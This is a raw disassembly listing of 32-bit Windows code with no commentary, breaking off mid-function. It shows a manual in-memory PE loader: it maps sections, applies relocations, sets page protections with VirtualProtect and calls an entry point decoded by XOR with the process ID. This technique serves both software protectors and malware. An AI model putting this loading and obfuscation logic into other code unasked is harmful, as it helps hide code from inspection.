mov ecx, [ebp+var_4]
mov [eax], ecx
jmp short loc_50589B
; ---------------------------------------------------------------------------
loc_50588C: ; CODE XREF: sub_50581E+62j
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
push [ebp+var_10]
call sub_5083DD
pop ecx
loc_50589B: ; CODE XREF: sub_50581E+6Cj
mov eax, [ebp+var_8]
leave
retn
sub_50581E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5058A0 proc near ; CODE XREF: sub_505BD7+41p
; sub_505BD7+37Cp ...
push ebp
mov ebp, esp
cmp ds:dword_51195C, 0
jnz short loc_5058C2
push offset aKernel32_dll_0 ; "kernel32.dll"
push offset aGetcurrentpr_0 ; "GetCurrentProcessId"
call sub_509C22
pop ecx
pop ecx
mov ds:dword_51195C, eax
loc_5058C2: ; CODE XREF: sub_5058A0+Aj
call ds:dword_51195C
xor eax, 0CABEFA10h
pop ebp
retn
sub_5058A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5058CF proc near ; CODE XREF: sub_505AD2+Cp
; sub_50AF8C+2Bp
var_34 = byte ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 34h
mov [ebp+var_34], dl
mov [ebp+var_30], ecx
push offset sub_50BB0D
push ds:dword_5117C0
push [ebp+var_30]
mov ecx, ds:dword_511954
call sub_50B891
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_50594E
movzx eax, [ebp+var_34]
test eax, eax
jz short loc_505946
push 400h
call sub_50835A
pop ecx
mov [ebp+var_1C], eax
mov eax, [ebp+var_1C]
mov [ebp+var_10], eax
push 400h
push [ebp+var_10]
push [ebp+var_C]
call ds:dword_511714 ; GetModuleFileNameA
test eax, eax
jz short loc_505937
push [ebp+var_10]
call ds:dword_51175C ; LoadLibraryA
loc_505937: ; CODE XREF: sub_5058CF+5Dj
mov eax, [ebp+var_10]
mov [ebp+var_20], eax
push [ebp+var_20]
call sub_5083DD
pop ecx
loc_505946: ; CODE XREF: sub_5058CF+34j
mov eax, [ebp+var_C]
jmp locret_505A3F
; ---------------------------------------------------------------------------
loc_50594E: ; CODE XREF: sub_5058CF+2Cj
push 0
push 0
push [ebp+var_30]
call sub_50581E
add esp, 0Ch
mov [ebp+var_8], eax
and [ebp+var_4], 0
cmp [ebp+var_8], 0
jz short loc_5059B3
push 0
push 0
push [ebp+var_8]
call sub_508892
add esp, 0Ch
mov [ebp+var_14], eax
push [ebp+var_14]
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_50599F
movzx eax, [ebp+var_34]
test eax, eax
jz short loc_50599F
push [ebp+var_14]
call ds:dword_51175C ; LoadLibraryA
loc_50599F: ; CODE XREF: sub_5058CF+BDj
; sub_5058CF+C5j
mov eax, [ebp+var_14]
mov [ebp+var_24], eax
push [ebp+var_24]
call sub_5083DD
pop ecx
jmp loc_505A3C
; ---------------------------------------------------------------------------
loc_5059B3: ; CODE XREF: sub_5058CF+99j
push [ebp+var_30]
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_505A3C
movzx eax, [ebp+var_34]
test eax, eax
jz short loc_505A3C
push 400h
call sub_50835A
pop ecx
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
mov [ebp+var_18], eax
push 400h
push [ebp+var_18]
push [ebp+var_4]
call ds:dword_511714 ; GetModuleFileNameA
test eax, eax
jz short loc_5059FF
push [ebp+var_18]
call ds:dword_51175C ; LoadLibraryA
loc_5059FF: ; CODE XREF: sub_5058CF+125j
mov eax, [ebp+var_18]
mov [ebp+var_2C], eax
push [ebp+var_2C]
call sub_5083DD
pop ecx
push [ebp+var_30]
push [ebp+var_4]
call sub_505070
test eax, eax
jnz short loc_505A3C
call ds:dword_511710 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_505A2F
push 7Eh
call ds:dword_51178C ; RtlRestoreLastWin32Error
loc_505A2F: ; CODE XREF: sub_5058CF+156j
push [ebp+var_4]
call ds:dword_5116E0 ; FreeLibrary
and [ebp+var_4], 0
loc_505A3C: ; CODE XREF: sub_5058CF+DFj
; sub_5058CF+F4j ...
mov eax, [ebp+var_4]
locret_505A3F: ; CODE XREF: sub_5058CF+7Aj
leave
retn
sub_5058CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_505A41 proc near ; CODE XREF: sub_50B076+4Ep
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00505AC3 SIZE 0000000F BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E488
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_28], ecx
push 105h
call sub_50835A
pop ecx
mov [ebp+var_20], eax
mov eax, [ebp+var_20]
mov [ebp+var_1C], eax
push 41h
pop ecx
xor eax, eax
mov edi, [ebp+var_1C]
rep stosd
stosb
and [ebp+var_4], 0
push 104h
push [ebp+var_1C]
push [ebp+var_28]
call ds:dword_511714 ; GetModuleFileNameA
push [ebp+var_1C]
push [ebp+var_28]
call sub_505070
or [ebp+var_4], 0FFFFFFFFh
call sub_505AB3
jmp short loc_505AC3
sub_505A41 endp
; =============== S U B R O U T I N E =======================================
sub_505AB3 proc near ; CODE XREF: sub_505A41+6Bp
; DATA XREF: _6:0050E490o
mov eax, [ebp-1Ch]
mov [ebp-24h], eax
push dword ptr [ebp-24h]
call sub_5083DD
pop ecx
retn
sub_505AB3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_505A41
loc_505AC3: ; CODE XREF: sub_505A41+70j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_505A41
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_505AD2 proc near ; CODE XREF: sub_50AE2D+19p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov dl, 1
mov ecx, [ebp+var_4]
call sub_5058CF
leave
retn
sub_505AD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_505AE5 proc near ; CODE XREF: sub_5061E1+5DBp
; sub_5061E1+60Fp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_4]
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jz short loc_505B05
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
sub eax, [ebp+var_4]
jmp short locret_505B08
; ---------------------------------------------------------------------------
loc_505B05: ; CODE XREF: sub_505AE5+13j
mov eax, [ebp+arg_0]
locret_505B08: ; CODE XREF: sub_505AE5+1Ej
leave
retn
sub_505AE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_505B0A proc near ; CODE XREF: sub_505BD7+16Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_0]
add eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, [ebp+arg_8]
add eax, [ebp+arg_C]
mov [ebp+var_8], eax
loc_505B25: ; CODE XREF: sub_505B0A:loc_505BD0j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb locret_505BD5
mov eax, [ebp+var_4]
mov eax, [eax]
mov [ebp+var_14], eax
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov eax, [eax]
mov [ebp+var_10], eax
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_10]
sub eax, 8
mov [ebp+var_10], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
loc_505B65: ; CODE XREF: sub_505B0A+8Bj
; sub_505B0A+C4j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jnb short loc_505BD0
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
and eax, 0FFFh
mov [ebp+var_24], eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
sar eax, 0Ch
mov [ebp+var_1C], eax
mov eax, [ebp+var_4]
inc eax
inc eax
mov [ebp+var_4], eax
cmp [ebp+var_1C], 0
jnz short loc_505B97
jmp short loc_505B65
; ---------------------------------------------------------------------------
loc_505B97: ; CODE XREF: sub_505B0A+89j
cmp [ebp+var_1C], 3
jz short loc_505BA7
mov ecx, 0EF000016h
call sub_508342
loc_505BA7: ; CODE XREF: sub_505B0A+91j
mov eax, [ebp+arg_0]
add eax, [ebp+var_14]
add eax, [ebp+var_24]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
sub ecx, [eax+34h]
mov eax, [ebp+var_20]
mov eax, [eax]
add eax, ecx
mov [ebp+var_18], eax
mov eax, [ebp+var_20]
mov ecx, [ebp+var_18]
mov [eax], ecx
jmp short loc_505B65
; ---------------------------------------------------------------------------
loc_505BD0: ; CODE XREF: sub_505B0A+61j
jmp loc_505B25
; ---------------------------------------------------------------------------
locret_505BD5: ; CODE XREF: sub_505B0A+21j
leave
retn
sub_505B0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_505BD7 proc near ; DATA XREF: sub_5061E1+C01o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
var_74 = dword ptr -74h
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
; FUNCTION CHUNK AT 00506113 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00506128 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E498
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 7Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_1C], 0
and [ebp+var_4], 0
cmp [ebp+arg_10], 1
jnz loc_505F4D
mov [ebp+var_4], 1
call sub_5058A0
mov ecx, [ebp+arg_8]
xor ecx, eax
mov [ebp+arg_8], ecx
mov eax, [ebp+arg_C]
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov ecx, [ebp+var_24]
add ecx, [eax+3Ch]
mov [ebp+var_40], ecx
mov eax, [ebp+var_40]
movzx eax, word ptr [eax+14h]
mov ecx, [ebp+var_40]
lea eax, [ecx+eax+18h]
mov [ebp+var_34], eax
mov eax, [ebp+var_40]
movzx eax, word ptr [eax+6]
imul eax, 28h
mov ecx, [ebp+var_34]
lea eax, [ecx+eax-28h]
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_24]
mov eax, [ecx+eax+34h]
mov [ebp+var_44], eax
mov eax, [ebp+var_28]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_24]
mov eax, [ecx+eax+38h]
mov [ebp+var_2C], eax
mov eax, [ebp+var_28]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_24]
mov eax, [ecx+eax+3Ch]
mov [ebp+var_30], eax
mov eax, [ebp+var_28]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_24]
mov eax, [ecx+eax+40h]
mov [ebp+var_38], eax
mov eax, [ebp+var_28]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_24]
lea eax, [ecx+eax+44h]
mov [ebp+var_3C], eax
jmp short loc_505CB7
; ---------------------------------------------------------------------------
loc_505CAE: ; CODE XREF: sub_505BD7:loc_505D2Aj
mov eax, [ebp+var_34]
add eax, 28h
mov [ebp+var_34], eax
loc_505CB7: ; CODE XREF: sub_505BD7+D5j
mov eax, [ebp+var_34]
cmp eax, [ebp+var_28]
jnb short loc_505D2C
mov eax, [ebp+var_3C]
mov eax, [eax]
mov [ebp+var_50], eax
mov eax, [ebp+var_3C]
add eax, 4
mov [ebp+var_3C], eax
mov eax, [ebp+var_3C]
mov eax, [eax]
mov [ebp+var_4C], eax
mov eax, [ebp+var_3C]
add eax, 4
mov [ebp+var_3C], eax
mov eax, [ebp+var_3C]
add eax, 4
mov [ebp+var_3C], eax
push 0
push 0
push [ebp+var_50]
push [ebp+arg_0]
call sub_500421
lea eax, [ebp+var_48]
push eax
push 0
push 0
push [ebp+var_4C]
mov eax, [ebp+var_34]
mov ecx, [ebp+var_24]
add ecx, [eax+0Ch]
push ecx
push [ebp+arg_0]
call sub_501177
test eax, eax
jz short loc_505D20
cmp [ebp+var_48], 0
jnz short loc_505D2A
loc_505D20: ; CODE XREF: sub_505BD7+141j
mov ecx, 0EF00000Fh
call sub_508342
loc_505D2A: ; CODE XREF: sub_505BD7+147j
jmp short loc_505CAE
; ---------------------------------------------------------------------------
loc_505D2C: ; CODE XREF: sub_505BD7+E6j
mov eax, [ebp+var_40]
mov eax, [eax+34h]
cmp eax, [ebp+var_24]
jz short loc_505D4B
push [ebp+var_2C]
push [ebp+var_44]
push [ebp+var_40]
push [ebp+var_24]
call sub_505B0A
add esp, 10h
loc_505D4B: ; CODE XREF: sub_505BD7+15Ej
push 5Ch
push [ebp+arg_4]
call sub_4FC700
pop ecx
pop ecx
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_505D68
mov eax, [ebp+arg_4]
mov [ebp+var_20], eax
jmp short loc_505D6F
; ---------------------------------------------------------------------------
loc_505D68: ; CODE XREF: sub_505BD7+187j
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
loc_505D6F: ; CODE XREF: sub_505BD7+18Fj
cmp [ebp+var_30], 0
jz short loc_505D97
mov eax, [ebp+var_24]
add eax, [ebp+var_30]
mov [ebp+var_54], eax
push [ebp+var_38]
push 1
push [ebp+var_20]
push [ebp+var_40]
push [ebp+var_24]
push [ebp+var_54]
call sub_504D70
add esp, 18h
loc_505D97: ; CODE XREF: sub_505BD7+19Cj
mov eax, ds:dword_511954
mov [ebp+var_74], eax
cmp [ebp+var_74], 0
jz short loc_505DB8
mov eax, [ebp+var_74]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_78], 1
jmp short loc_505DBC
; ---------------------------------------------------------------------------
loc_505DB8: ; CODE XREF: sub_505BD7+1CCj
and [ebp+var_78], 0
loc_505DBC: ; CODE XREF: sub_505BD7+1DFj
movzx eax, [ebp+var_78]
test eax, eax
jz short loc_505DFB
push offset sub_50BB0D
push ds:dword_5117C0
push [ebp+arg_C]
push [ebp+var_20]
mov ecx, ds:dword_511954
call sub_50B9B1
mov eax, ds:dword_511954
mov [ebp+var_7C], eax
cmp [ebp+var_7C], 0
jz short loc_505DFB
mov eax, [ebp+var_7C]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
loc_505DFB: ; CODE XREF: sub_505BD7+1EBj
; sub_505BD7+215j
push [ebp+arg_4]
push [ebp+arg_C]
mov ecx, ds:dword_51194C
call sub_50B98E
cmp ds:dword_511680, 2
jb loc_505F35
mov eax, [ebp+var_40]
movzx eax, word ptr [eax+14h]
mov ecx, [ebp+var_40]
lea eax, [ecx+eax+18h]
mov [ebp+var_34], eax
and [ebp+var_58], 0
lea eax, [ebp+var_58]
push eax
push 4
mov eax, [ebp+var_28]
sub eax, [ebp+var_34]
cdq
push 28h
pop ecx
idiv ecx
push eax
push [ebp+var_34]
call ds:dword_5117AC ; VirtualProtect
mov eax, [ebp+var_28]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_24]
lea eax, [ecx+eax+44h]
mov [ebp+var_3C], eax
jmp short loc_505E65
; ---------------------------------------------------------------------------
loc_505E5C: ; CODE XREF: sub_505BD7+32Bj
mov eax, [ebp+var_34]
add eax, 28h
mov [ebp+var_34], eax
loc_505E65: ; CODE XREF: sub_505BD7+283j
mov eax, [ebp+var_34]
cmp eax, [ebp+var_28]
jnb loc_505F07
mov eax, [ebp+var_3C]
add eax, 8
mov [ebp+var_3C], eax
mov eax, [ebp+var_3C]
mov eax, [eax]
mov [ebp+var_60], eax
mov eax, [ebp+var_3C]
add eax, 4
mov [ebp+var_3C], eax
mov eax, [ebp+var_34]
mov ecx, [ebp+var_60]
mov [eax+24h], ecx
and [ebp+var_5C], 0
mov eax, [ebp+var_60]
and eax, 20000000h
test eax, eax
jz short loc_505EC2
mov eax, [ebp+var_60]
and eax, 80000000h
test eax, eax
jz short loc_505EB9
mov [ebp+var_5C], 40h
jmp short loc_505EC0
; ---------------------------------------------------------------------------
loc_505EB9: ; CODE XREF: sub_505BD7+2D7j
mov [ebp+var_5C], 20h
loc_505EC0: ; CODE XREF: sub_505BD7+2E0j
jmp short loc_505EDE
; ---------------------------------------------------------------------------
loc_505EC2: ; CODE XREF: sub_505BD7+2CBj
mov eax, [ebp+var_60]
and eax, 80000000h
test eax, eax
jz short loc_505ED7
mov [ebp+var_5C], 4
jmp short loc_505EDE
; ---------------------------------------------------------------------------
loc_505ED7: ; CODE XREF: sub_505BD7+2F5j
mov [ebp+var_5C], 2
loc_505EDE: ; CODE XREF: sub_505BD7:loc_505EC0j
; sub_505BD7+2FEj
lea eax, [ebp+var_60]
push eax
push [ebp+var_5C]
mov eax, [ebp+var_34]
mov ecx, [ebp+var_34]
mov eax, [eax+34h]
sub eax, [ecx+0Ch]
push eax
mov eax, [ebp+var_34]
mov ecx, [ebp+var_24]
add ecx, [eax+0Ch]
push ecx
call ds:dword_5117AC ; VirtualProtect
jmp loc_505E5C
; ---------------------------------------------------------------------------
loc_505F07: ; CODE XREF: sub_505BD7+294j
mov eax, [ebp+var_40]
movzx eax, word ptr [eax+14h]
mov ecx, [ebp+var_40]
lea eax, [ecx+eax+18h]
mov [ebp+var_34], eax
lea eax, [ebp+var_58]
push eax
push [ebp+var_58]
mov eax, [ebp+var_28]
sub eax, [ebp+var_34]
cdq
push 28h
pop ecx
idiv ecx
push eax
push [ebp+var_34]
call ds:dword_5117AC ; VirtualProtect
loc_505F35: ; CODE XREF: sub_505BD7+23Cj
and [ebp+var_4], 0
jmp short loc_505F4B
; ---------------------------------------------------------------------------
loc_505F3B: ; DATA XREF: _6:0050E4A8o
push [ebp+var_14]
call sub_508C27
retn
; ---------------------------------------------------------------------------
loc_505F44: ; DATA XREF: _6:0050E4ACo
mov esp, [ebp+var_18]
and [ebp+var_4], 0
loc_505F4B: ; CODE XREF: sub_505BD7+362j
jmp short loc_505F6F
; ---------------------------------------------------------------------------
loc_505F4D: ; CODE XREF: sub_505BD7+34j
cmp [ebp+arg_10], 0
jnz short loc_505F62
call sub_5058A0
mov ecx, [ebp+arg_8]
xor ecx, eax
mov [ebp+arg_8], ecx
jmp short loc_505F6F
; ---------------------------------------------------------------------------
loc_505F62: ; CODE XREF: sub_505BD7+37Aj
call sub_5058A0
mov ecx, [ebp+arg_8]
xor ecx, eax
mov [ebp+arg_8], ecx
loc_505F6F: ; CODE XREF: sub_505BD7:loc_505F4Bj
; sub_505BD7+389j
cmp [ebp+arg_8], 0
jz loc_506115
mov eax, [ebp+arg_C]
add eax, [ebp+arg_8]
mov [ebp+var_64], eax
mov ds:dword_511928, 0FFFFFFFEh
mov eax, ds:dword_511960
mov [ebp+var_68], eax
mov [ebp+var_4], 2
pushaw
mov ds:dword_511960, esp
mov eax, [ebp+arg_14]
push eax
mov eax, [ebp+arg_10]
push eax
mov eax, [ebp+arg_C]
push eax
call [ebp+var_64]
mov ds:dword_511928, eax
mov esp, ds:dword_511960
popaw
and [ebp+var_4], 0
call sub_505FCD
jmp loc_506113
sub_505BD7 endp
; =============== S U B R O U T I N E =======================================
sub_505FCD proc near ; CODE XREF: sub_505BD7+3ECp
; DATA XREF: _6:0050E4B8o
mov eax, [ebp-68h]
mov ds:dword_511960, eax
cmp dword ptr [ebp+18h], 0
jnz loc_5060F6
mov eax, ds:dword_51194C
mov [ebp-80h], eax
cmp dword ptr [ebp-80h], 0
jz short loc_506003
mov eax, [ebp-80h]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov byte ptr [ebp-84h], 1
jmp short loc_50600A
; ---------------------------------------------------------------------------
loc_506003: ; CODE XREF: sub_505FCD+1Ej
and byte ptr [ebp-84h], 0
loc_50600A: ; CODE XREF: sub_505FCD+34j
movzx eax, byte ptr [ebp-84h]
test eax, eax
jz short loc_506047
push dword ptr [ebp+14h]
mov ecx, ds:dword_51194C
call sub_50B8E0
mov eax, ds:dword_51194C
mov [ebp-88h], eax
cmp dword ptr [ebp-88h], 0
jz short loc_506047
mov eax, [ebp-88h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
loc_506047: ; CODE XREF: sub_505FCD+46j
; sub_505FCD+68j
push 5Ch
push dword ptr [ebp+0Ch]
call sub_4FC700
pop ecx
pop ecx
mov [ebp-6Ch], eax
cmp dword ptr [ebp-6Ch], 0
jnz short loc_506064
mov eax, [ebp+0Ch]
mov [ebp-6Ch], eax
jmp short loc_50606B
; ---------------------------------------------------------------------------
loc_506064: ; CODE XREF: sub_505FCD+8Dj
mov eax, [ebp-6Ch]
inc eax
mov [ebp-6Ch], eax
loc_50606B: ; CODE XREF: sub_505FCD+95j
mov eax, ds:dword_511954
mov [ebp-8Ch], eax
cmp dword ptr [ebp-8Ch], 0
jz short loc_506098
mov eax, [ebp-8Ch]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov byte ptr [ebp-90h], 1
jmp short loc_50609F
; ---------------------------------------------------------------------------
loc_506098: ; CODE XREF: sub_505FCD+B0j
and byte ptr [ebp-90h], 0
loc_50609F: ; CODE XREF: sub_505FCD+C9j
movzx eax, byte ptr [ebp-90h]
test eax, eax
jz short loc_5060E7
push offset sub_50BB0D
push ds:dword_5117C0
push dword ptr [ebp-6Ch]
mov ecx, ds:dword_511954
call sub_50B900
mov eax, ds:dword_511954
mov [ebp-94h], eax
cmp dword ptr [ebp-94h], 0
jz short loc_5060E7
mov eax, [ebp-94h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
loc_5060E7: ; CODE XREF: sub_505FCD+DBj
; sub_505FCD+108j
mov eax, [ebp+0Ch]
mov [ebp-70h], eax
push dword ptr [ebp-70h]
call sub_5083DD
pop ecx
loc_5060F6: ; CODE XREF: sub_505FCD+Cj
mov eax, ds:dword_511928
mov [ebp-1Ch], eax
mov ds:dword_511928, 0FFFFFFFEh
cmp dword ptr [ebp-1Ch], 0FFFFFFFEh
jnz short locret_506112
and dword ptr [ebp-1Ch], 0
locret_506112: ; CODE XREF: sub_505FCD+13Fj
retn
sub_505FCD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_505BD7
loc_506113: ; CODE XREF: sub_505BD7+3F1j
jmp short loc_50611C
; ---------------------------------------------------------------------------
loc_506115: ; CODE XREF: sub_505BD7+39Cj
mov [ebp+var_1C], 1
loc_50611C: ; CODE XREF: sub_505BD7:loc_506113j
or [ebp+var_4], 0FFFFFFFFh
call nullsub_2
jmp short loc_506128
; END OF FUNCTION CHUNK FOR sub_505BD7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_505BD7
loc_506128: ; CODE XREF: sub_505BD7+54Ej
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 18h
; END OF FUNCTION CHUNK FOR sub_505BD7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50613C proc near ; CODE XREF: sub_504DC0+23Cp
; sub_504DC0:loc_50501Ap
push ebp
mov ebp, esp
xor eax, eax
cmp ds:dword_51196C, 0
setnz al
pop ebp
retn
sub_50613C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50614D proc near ; CODE XREF: sub_504DC0:loc_50500Ap
; sub_5061E1:loc_50705Cp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 10h
loc_506153: ; CODE XREF: sub_50614D+89j
and [ebp+var_4], 0
cmp ds:dword_51196C, 0
jz short loc_5061D0
mov [ebp+var_8], offset dword_51196C
loc_506167: ; CODE XREF: sub_50614D:loc_5061CEj
mov eax, [ebp+var_8]
cmp dword ptr [eax], 0
jz short loc_5061D0
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebp+var_C], eax
push 0
push 1
mov eax, [ebp+var_C]
push dword ptr [eax]
mov eax, [ebp+var_C]
push dword ptr [eax+0Ch]
mov eax, [ebp+var_C]
push dword ptr [eax+8]
mov eax, [ebp+var_C]
push dword ptr [eax+4]
call sub_504D70
add esp, 18h
movzx eax, al
test eax, eax
jz short loc_5061C3
mov [ebp+var_4], 1
mov eax, [ebp+var_8]
mov eax, [eax]
mov ecx, [ebp+var_8]
mov eax, [eax+10h]
mov [ecx], eax
mov eax, [ebp+var_C]
mov [ebp+var_10], eax
push [ebp+var_10]
call sub_5083DD
pop ecx
jmp short loc_5061CE
; ---------------------------------------------------------------------------
loc_5061C3: ; CODE XREF: sub_50614D+52j
mov eax, [ebp+var_8]
mov eax, [eax]
add eax, 10h
mov [ebp+var_8], eax
loc_5061CE: ; CODE XREF: sub_50614D+74j
jmp short loc_506167
; ---------------------------------------------------------------------------
loc_5061D0: ; CODE XREF: sub_50614D+11j
; sub_50614D+20j
movzx eax, [ebp+var_4]
test eax, eax
jnz loc_506153
mov al, [ebp+var_4]
leave
retn
sub_50614D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5061E1 proc near ; CODE XREF: sub_50931F+2Fp
; sub_50AE2D+2Dp
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_10C = dword ptr -10Ch
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
var_F8 = dword ptr -0F8h
var_F4 = dword ptr -0F4h
var_F0 = dword ptr -0F0h
var_EC = dword ptr -0ECh
var_E8 = dword ptr -0E8h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = dword ptr -0D0h
var_CC = byte ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_5C = byte ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00506B27 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 00506B8F SIZE 000004F6 BYTES
